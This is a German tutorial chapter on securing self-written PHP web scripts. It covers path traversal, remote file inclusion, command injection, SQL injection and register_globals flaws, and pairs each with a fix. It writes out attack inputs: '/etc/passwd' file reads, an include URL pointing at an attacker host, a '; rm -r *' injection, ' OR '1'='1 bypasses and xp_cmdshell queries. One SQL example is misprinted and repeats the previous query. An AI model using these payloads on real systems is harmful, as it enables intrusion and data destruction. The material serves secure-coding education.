Die Sicherheit von Webservern
III. Sicherheit ist realisierbar
Das zweifellos vielschichtigste Problem ist die Sicherheit bei selbstgeschriebenen Scripten. Die beste Software kann nicht vor den riesigen "Scheunentoren" helfen, die man einem vandalierenden Skript Kid aus Unkenntnis öffnet.
Es werden einige grundlegende Regeln aufgestellt und am Beispiel von PHP vertieft. Diese Scriptsprache hat in der letzten Zeit einen extremen Zulauf erlebt. Aber Unwissenheit bei Neueinsteigern führte häufig dazu, dass diese Sprache ungerechtfertigt in Misskredit geraten ist.
Deshalb werden die Sicherheitslücken vorwiegend aus den Augen des Angreifers beschrieben, um wirkungsvoll ein Bewusstsein für Schwachstellen zu schaffen.
3. Fehler in Scripten als Sicherheitslücken
Der Grundsatz "Traue niemals dem Web - validiere!" ist elementar! Bei jeder Zeile Code muss man diesen Gedanken ihm Hinterkopf behalten. Alle Daten, die von außerhalb kommen, sind prinzipiell verschmutzt, unzuverlässig und kontaminiert.
Beispiel:
Eine Seite erwartet als Parameter den Namen einer Datei, deren Quelltext gezeigt werden soll. Der Name dieser Seite kann in der folgenden Form übertragen werden:
"quelltext.php?datei=beispiel.php"
Dazu sieht der entsprechende Programmcode wie folgt aus:
highlight_file($datei);
Würde man jedoch als Parameter "/etc/passwd" übergeben, bekäme man die Unix Passwortdatei präsentiert. Dieses unschuldige Schnipsel Code hätte fatale Folgen, denn ein Angreifer könnte alle Dateien auf dem Webserver lesen.
Egal, wie banal es manchmal klingt, wenn man nicht hundertprozentig darauf verzichten kann, sollte man alle einkommenden Daten auf ihre Gültigkeit überprüfen, bevor man sie einsetzt. Ebenso ist eine falsche Validierung uneffektiv, denn sie vermittelt nur das trügerisches Gefühl von Sicherheit.
Die folgenden Zeilen zeigen einige grundlegende Gefahrenquellen in Verbindung mit Daten außerhalb der so genanten Vertrauensgrenze ("trust boundary").
3.1. Daten von außerhalb - die Vertrauensgrenze
3.1.1. Richtiges Öffnen von Dateien
Der Schrägstrich "/" am Anfang einer Pfadangabe, macht dieselbige zu einer absoluten Pfadangabe - man beginnt ganz "oben". Die Zeichenkette "../" verweist auf ein Verzeichnis über dem aktuellen Verzeichnis.
Die Variable $datei im obigen Beispiel hätte man auf diese beiden Zeichenketten überprüfen müssen. Wichtig ist außerdem eine explizite Pfadangabe. Hier reicht ein einzelner Punkt als Verweis auf das aktuelle Verzeichnis aus. Eine Eingrenzung auf einen bestimmten Dateityp erhöht die Sicherheit zusätzlich:
<expliziter pfad=""><gepruefter="" dateiname=""> <dateiendung> </dateiendung> </gepr></expliziter>
Für dieses Beispiel gibt es jedoch einen schnelleren Weg. Die PHP Funktion "basename" hat genau das geforderte Aufgabenspektrum: Sie schneidet alles heraus, was kein Dateiname sein kann.
Zusätzlich sollte der Dateityp mit der Dateiendung ".php" eingeschränkt werden.
highlight_file(basename($datei). ".php");
3.1.2. Externe Dateien
PHP ist eine sehr funktionsreiche Sprache, die oft versucht, das Leben des Programmierers so angenehm wie möglich zu machen. Eine Option erlaubt es, Internetadressen wie Dateien zu behandeln. Der entsprechende Schalter "llow_url_fopen" in der Konfigurationsdatei "php.ini" ist standardmäßig aktiviert.
Beispiel: In einer Homepage, die mehrere Sprachen anbietet, wird für jede Sprache ein eigenes Verzeichnis angelegt. In jedem dieser Verzeichnisse ist eine Datei, welche in den laufenden Programmprozess eingebunden wird:
include($sprache . "/config.php");
Unter Berücksichtigung des zuvor genannten Abschnittes wird vorausgesetzt, dass beim Programmieren auf den beginnenden Schrägstrich sowie die beiden Punkte geachtet wird.
Der Benutzer kann komfortabel in einer Liste seine Sprache auswählen, welche in dieser Form übergeben wird: "index.php?sprache=deutsch"
Doch auch dieses Script wäre angreifbar, wenn man statt der erwarteten Pfadangabe eine Internetadresse angibt: "index.php?sprache=http://angreifer.de". PHP würde nun die Datei "config.php" vom Angreifer lesen und ausführen.
Er könnte jetzt seinen eigenen Programmcode einfügen und hätte komplette Gewalt über die Homepage. Eine Illustration dazu befinden sich im Kapitel 4.1.
Zur Lösung dieses Problems kann man zusätzlich die Variable $sprache auf die Zeichenketten "http://" und "ftp://" prüfen, oder, wie im vorherigen Beispiel empfohlen, explizit den Pfad angeben:
include("./" . $sprache . "/config.php");
Ein einzelner Punkt reicht aus, er verweist auf das aktuelle Verzeichnis.
3.1.3. Dateien, die keine Dateien sind
Es ist allgemein bekannt, dass man Geräte unter Unix wie eine Dateien ansprechen kann. Ein Bespiel wäre "/dev/vcs", welche den Bildschirminhalt enthält. Probleme gibt es hier selten, da sich alle Geräte im Verzeichnis "/dev" befinden.
Für Windows gibt es die schon aus DOS-Zeiten bekannten Gerätenamen. Sie sind nicht an ein Verzeichnis gebunden. Windows hat die Geräte weitgehend unter Kontrolle, und erlaubt z.B. keine Verzeichnisse und Dateien, die Gerätenamen verletzen würden.
Problematisch werden Gerätenamen mit dem IIS Webserver und ASP. Eine Datei namens "C:\COM1" wäre hier eine absolut gültige Datei. Öffnet man jedoch diese vermeintliche Datei, bleibt der Thread (gleichzeitig laufender Programmprozess), der die Seite bearbeitet, "hängen". Da ASP aus einem begrenzten Threadpool bedient wird, kann mit mehreren Aufrufen dieser verwundbaren Stelle, der gesamte Webserver ausgeschaltet werden. (DoS-Attacke)
Auf diese Zeichenketten muss somit zusätzlich geprüft werden: COM1 bis COM9, LPT1 bis LPT9, CON, PRN, AUX, CLOCK$, NUL.
3.1.4. Systembefehle
Jede Scriptsprache bietet die Möglichkeit, mit dem "unterliegenden" Betriebsystem direkt zu kommunizieren. Über die so genannten Systembefehle greift man auf die Funktionen des Systems zurück.
Doch für alle Aufgaben gilt: Wenn es eine Bibliothek für eine benötigte Funktion gibt, sollte man immer versuchen, diese zu nutzen. Sie existiert nicht ohne Grund. Leichtsinnig handelt man dann, wenn der Input von außerhalb ohne richtige Validierung direkt integriert wird. Manchmal ist das Benutzen von Systembefehlen aber unausweichlich.
Beispiel: Eine PHP Seite soll komprimierte Dateien im RAR Format anbieten. Hierfür gibt es keine standardisierte Bibliothek. Es besteht die Möglichkeit, die zlib anzusprechen, diese liest und schreibt aber nur gzip (.gz) komprimierte Dateien. Die Lösung könnte wie folgt aussehen:
$datei = preg_replace("=\.\.\/|^\/=","", $datei);exec ("rar A download_me.rar $datei");
In der ersten Zeile wird "../" und der führenden Schrägstrich entfernt. Beabsichtigt ist es, dass in der Variable $datei der Name der zu verpackenden Datei steht - wie "mustermann.txt".
Ein Problem entsteht, wenn der Inhalt von $datei so lautet: " mustermann.txt; rm -r *". Mit diesem Befehl würde rekursiv, also mit Unterverzeichnissen, alles im aktuellen Verzeichnis gelöscht werden. (Aua!). Shell Kommandos (Unix) werden mit einem Strichpunkt getrennt. Man muss demzufolge diesen herausschneiden.
Eine weitere Unsicherheit stellt das Umleitungssymbol ">" dar: " mustermann.txt> wichtig.php".
Dieser Befehl überschreibt die Datei "wichtig.php" mit dem Output des Packprogramms. Ebenso gefährlich ist das Pipe-Symbol "|" , mit dem man die verschiedensten Kommandos verbinden kann.
Aufgrund dieser Problematik kennt PHP die Funktion "escapeshellcmd", welche alle potentiell gefährlichen Zeichen maskiert.
Allerdings bleiben immer noch die Leerzeichen, mit denen man Parameter für das Packprogramm setzen kann. Aus diesem Grund gibt es die PHP Funktion "escapeshellarg". Diese fügt zwei einfache Anführungszeichen ( 'Zeichenkette' ) um die Zeichenkette herum ein und maskiert alle existierenden Anführungszeichen innerhalb der Zeichenkette. So wird das komplette Ergebnis als ein Argument gewertet.
Hat die Variable $datei keinen Inhalt bekommen, und ist somit leer, benutzt das Packprogramm alle Dateien (auch das PHP Script) im aktuellen Verzeichnis. Das PHP Script wäre für Außenstehende somit einsehbar.
3.1.5. SQL Injektionen
Alle Scriptsprachen bieten die Möglichkeit, mit einer Datenbank zu interagieren. Gerade hier wird der Input von Benutzern oft benötigt. Die Abfragesprache für Datenbanken lautet SQL.
Beispiel:
Fast jede Homepage besitzt einen Passwortgeschützten Bereich, mit einem entsprechenden Formular für Benutzername und Passwort. Diese Eingaben werden mittels PHP und Werten aus der Datenbank überprüft.
Die Datenbanktabelle "benutzer_passwort":
| ID | Benutzer | Passwort |
|---|
| 1 | admin | geheim |
| 2 | gast | gast22 |
Passend dazu folgender Code:
$abfrage = mysql_query("SELECT COUNT(ID) FROM benutzer_passwort"."WHERE Benutzer='$user' AND Passwort='$pass'");
if (mysql_result($abfrage, 0)) { ...geheime Seite anzeigen ... }
Die erste Zeile fragt die Datenbank ab. Die zweite Zeile überprüft die empfangenen Werte durch die Funktion "mysql_result".
Die Rückgabe von "mysql_result" ist entweder eine Null (keine Übereinstimmung) oder eine Zahl größer als Null. Bei einer Übereinstimmung wird die geheime Seite angezeigt.
Wenn sich der Admin einloggt, erhält die Datenbank vom Script folgende Anfrage:
SELECT COUNT(ID) FROM benutzer_passwort
WHERE Benutzer='admin' AND Passwort='geheim'
Dieses SQL Query wird von der Datenbank wie folgt interpretiert:
"Zeige die ID Nummern von der der Tabelle benutzer_passwort an, wo Benutzer gleich admin und wo Passwort gleich geheim ist und zähle die Ergebnisse."
Für das Eindringen in die geheime Seite würde ein Angreifer in die Felder für Benutzer und Passwort jeweils ' OR '1'='1 schreiben. Die Anfrage für die Datenbank lautet dadurch:
SELECT COUNT(ID) FROM
benutzer_passwort
WHERE Benutzer='' OR '1'='1' AND Passwort='' OR '1'='1'
Dieses SQL Query wird von der Datenbank wie folgt interpretiert:
"Zeige die ID Nummern von der der Tabelle benutzer_passwort an, wo Benutzer gleich nichts ODER 1 gleich 1 und wo Passwort gleich nichts ODER 1 gleich 1 ist und zähle die Ergebnisse."
Weder Benutzer noch Passwort entsprechen dem Wert "nichts", doch eine 1 bleibt immer eine 1 - "mysql_result" liefert eine Zahl größer als Null und die geheime Seite wird angezeigt.
Das Problem ist eindeutig, zwei Anführungsstriche begrenzen einen Wert. Ist in dem Text ein weiterer Anführungsstrich, so wird dieser als begrenzendes Zeichen gewertet. Man braucht deshalb eine Möglichkeit, um jenes gefährliche Zeichen unwirksam zu machen.
Dieses Verhalten kann man verhindern, indem man vor dem Sonderzeichen einen Schrägstrich schreibt.
PHP hat hier als einzige Sprache eine intelligente Eigenschaft. Standardmäßig ist der Schalter "magic_quotes_gpc" in der "php.ini" aktiviert. So werden alle Inhalte, die PHP von GET-, POST- und Cookie- Variablen bekommt, automatisch mit Schrägstrichen versehen. Die Sonderzeichen ' , " , \ und das 0-Byte werden zu \' , \" , \\ und \0.
Benutzt ein ungeübter PHP Programmierer diese Werte direkt in einem SQL Query, so sind sie automatisch maskiert. Werte, die von der Datenbank zurückkommen, sind hingegen nicht maskiert und können ohne weitere Umstände benutzt werden.
ASP und Perl kennen solch eine Automatisierung nicht. Hier müssen die Sonderzeichen eigenständig umgewandelt werden. Das Gefahrenpotential, vor allem in komplexen Anwendungen, ist nicht zu unterschätzen.
3.1.6. Datenbanken in Verbindung mit SQL Injektionen
MySQL unterstützt nicht die Befehle "SUBSELECT" oder "UNION", diese erweitern elegant die Möglichkeit, Daten auszuwählen. Der aus mancher Sicht schon rudimentäre SQL-Befehlssatz unterstützt zusätzlich keine multiplen Befehle.
MySQL ist unfreiwillig sehr immun gegenüber SQL Injektionen, nur einfache Manipulationen wie im o.g. Beispiel werden als korrekter Syntax gewertet.
Gefährlich kann der Befehl "INTO OUTFILE" werden, welcher bei falscher Vergabe der Rechte für die Datenbank, beliebige Dateien ins Dateisystem schreibt.
Im Gegensatz zu MySQL beherrscht MS SQL eine viel komplexere Grammatik.
"SUBSELECT" und "UNION" sind erlaubt. Folgender Befehl würde z.B. eine völlig fremde Tabelle auslesen:
SELECT COUNT(ID) FROM
benutzer_passwort
WHERE Benutzer='' UNION ALL SELECT FremdesFeld FROM
FremdeTabelle --' AND Passwort=''
Die beiden Striche kennzeichnen einen Kommentar. So wird der restliche Teil mit dem störenden AND passwort='' komplett ignoriert.
Nicht weniger gefährlich sind Multiple Statements. Mit nachfolgenden Befehl würde zum Beispiel die komplette Tabelle mit allen Einträgen gelöscht werden:
SELECT COUNT(ID) FROMbenutzer_passwort
WHERE Benutzer='' UNION ALL SELECT FremdesFeld FROM
FremdeTabelle --' AND Passwort=''
Sehr vielfältig, aber umso gefährlicher, verhalten sich die "default stored procedures". Stored Procedures sind Makros oder ganze Programme für eine Datenbank. MS SQL hat standardmäßig schon viele SPs an Board - auch wenn diese normalerweise vielleicht nie benutzt werden. Mit der MS SQL Datenbank würde dieses Query funktionieren:
SELECT COUNT(ID) FROM
benutzer_passwort
WHERE Benutzer='' EXEC master.dbo.xp_cmdshell 'dir *.*>
c:\liste.txt' --' AND Passwort=''
Die SP "xp_cmdshell" erlaubt es, jeden beliebigen Systembefehl auszuführen. In diesem Beispiel wird eine Verzeichnisliste in die entsprechende Datei geschrieben. Der zerstörerischen Kreativität eines Angreifers sind hier kaum Grenzen gesetzt.
Auch die meisten anderen Datenbanken, wie Oracle, IBM DB2 und PostgreSQL unterstützen weitgehend den ANSI SQL/92 Standard und bieten somit viele Angriffspunkte für SQL Injektionen. Eine Illustration hierzu befindet sich im Kapitel 4.2.
3.1.7. Fazit
Im Zusammenhang mit Computersicherheit kommt man oft mit zwei Philosophien in Berührung. Bisher wurde das Sicherheitskonzept "Alles erlauben, was nicht ausdrücklich verboten ist." beschrieben, was zur Folge hat, dass man in einer Anhäufung von Regeln das Ziel verlieren kann. In Konkurrenz dazu existiert eine weitere grundsätzliche Auffassung:
"Alles verbieten, was nicht ausdrücklich erlaubt ist."
Für das Beispiel mit dem Systembefehl könnte eine Liste mit erlaubten Dateinamen, denen eine eindeutige Nummer zugeordnet ist, eine Vereinfachung darstellen. Verpackte Dateien werden nur mit Hilfe ihrer Nummer heruntergeladen. Der anfängliche Mehraufwand rentiert sich schnell, denn mit Hilfe dieser Liste können nachträglich bestimmten Benutzern besondere Rechte zugewiesen werden.
3.2. Daten von außerhalb - globale Variablen
3.2.1. automatisch globale Variablen
Sehr einfach ist das Übermitteln von Werten an ein PHP Script. In der Standardeinstellung werden alle Werte, die über GET-, POST- oder Cookie- Methoden kommen, automatisch im Programmprozess eingefügt. Sie existieren als globale Variablen und können im gesamten Programm verwendet werden.
Allerdings können durch diese Technik auch ungewünschte Variablen entstehen. Trotz einer fiktiven Vertrauensgrenze werden sie ungewollt hereingeholt.
Beispiel:
"quelltext.php?datei=beispiel"
Ohne Unstände kann man nun die Variable $datei mit dem Inhalt "beispiel" im Programm benutzen. Diese Technik kann ebenso zu gravierenden Sicherheitslücken führen:
if ($pass == "hallo") $auth = 1;if
($auth == 1) echo "Dies ist ein geheimer Text!";
Die erste Zeile dieses Programms prüft, ob die Variable $pass den Wert "hallo" hat. Trifft dies zu, so wird die Variable $auth auf den Wert 1 gesetzt. Die zweite Zeile vergleicht $auth mit dem Wert 1. Trifft auch dies zu, so wird der geheime Text ausgegeben.
Der Programmierer geht davon aus, dass $auth solange leer bleibt, bis ein Wert gesetzt wird. Doch folgender Aufruf der Seite würde den Passwortschutz sinnlos machen:
"passwort.php?pass=mir_egal&auth=1"
Egal, welchen Wert die Variable $pass bekommt, $auth wird schon zum Start des Programms auf 1 stehen. Der korrekte Code müsste demnach so aussehen:
$auth = 0;if ($pass == "hallo")
$auth = 1;
if ($auth == 1) echo "Dies ist ein geheimer Text!";
Man darf keiner Variable trauen, die man nicht explizit gesetzt hat. Bei vielen Variablen und viel Code ist dies gar kein einfaches Unterfangen.
Sicherer ist es, den Schalter "register_globals" in der "php.ini" zu schließen. Er unterbindet den automatischen Import, so dass man die benötigten Variablen nur noch aus den $HTTP_*_VARS (Tracking Variablen) erhalten kann.
Die Gefährlichkeit automatisch registrierter Variablen wurde auch von den PHP- Entwicklern erkannt. In der kommenden PHP Version (4.2.0) ist "register_globals" standardmäßig ausgeschaltet und als Ersatz für die Tracking Variablen wurden neue superglobale Äquivalente eingebaut (ab PHP 4.1.0).
3.2.2. Datei Uploads
Wie im letzten Abschnitt beschrieben, wird von der Verwendung der veralteten, automatisch globalen Variablen dringend abgeraten. Allerdings basiert ein Großteil aller PHP Scripte weiterhin auf dieser Technik. Besonders gefährdet ist das Hochladen von Dateien auf den Webserver nach der "alten" Methode. Diese existiert schon seit frühen Versionen von PHP 3 und wird leider noch oft benutzt.
Ein Upload-Formular zu erstellen ist sehr einfach. Dies ist der minimal benötigte HTML Quelltext:
<form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="test"><input type="submit"></form>
Der Browser stellt ein Feld zur Verfügung, in dem der Benutzer eine Datei auswählen kann. Ein Klick auf den "Senden" Knopf schickt die Datei mit dem HTTP- Request ab, genauer im Entity-Body der POST- Methode.
PHP erkennt die eingepackte Datei und speichert sie im temporären Verzeichnis mit einem zufälligen Dateinamen ab. Im laufenden Programm setzt PHP nun vier globale Variablen, welche die hochgeladene Datei beschreiben:
| $test; | --> | lokaler Dateiname | (z.B. "C:\WINNT\TEMP\php69.tmp") |
|---|
| $test_size | --> | Dateigröße in Bytes |
|
|---|
| $test_name | --> | originale Dateiname | (z.B. "testdatei.txt") |
|---|
| $test_type | --> | Mime-Type der Datei | (z.B. "text/plain") |
|---|
Mit diesen Angaben kann man nun mit der empfangenen Datei weiterarbeiten. Ganz offensichtlich problematisch würde sich jedoch der folgende Aufruf gestalten:
upload.php?test=/etc/passwd&test_size=10240& test_type=text/plain&test_name=hello.txt
Statt an einer hochgeladenen Datei, würde ein schlecht gebautes Script mit der Passwortdatei weiterarbeiten.
Bei Datei Uploads sollte man immer das HTTP_POST_FILES bzw. das superglobale $_FILES Array benutzen. Ist man allerdings durch eine PHP 3 Installation auf die automatisch globalen Variablen angewiesen, so kann man diese mit der Funktion "is_uploaded_file" abchecken.
Das ultimative Ziel eines Angreifers ist bekanntlich, seinen eigenen Code ausführen zu können. Hier bieten File Uploads einen weiteren interessanten Aspekt. Folgende Abfrage würde ihn anfänglich daran hindern externe Dateien einzubinden:
if (file_exists($test)) include($test);
Die Funktion "file_exists" checkt auf eine existierende lokale Datei und würde eine externe Datei nicht zulassen. Dieses Script ist nicht zum Empfangen von Dateien gedacht. Doch ein selbstgebautes Formular des Angreifers, welches eine Datei als Variable "test" zum Server schickt, knackt es. PHP ist leider so freundlich, diese Datei auf der Festplatte zu speichern und die Variable $test auf den lokalen Dateinamen zu setzen. Die Prüfung mit "file_exists" besteht $test und der Code wird ausgeführt.
Hier zeigt sich wiederum, dass eine ordnungsgemäße Validierung notwendig ist und "register_globals" immer ausgeschaltet sein sollte.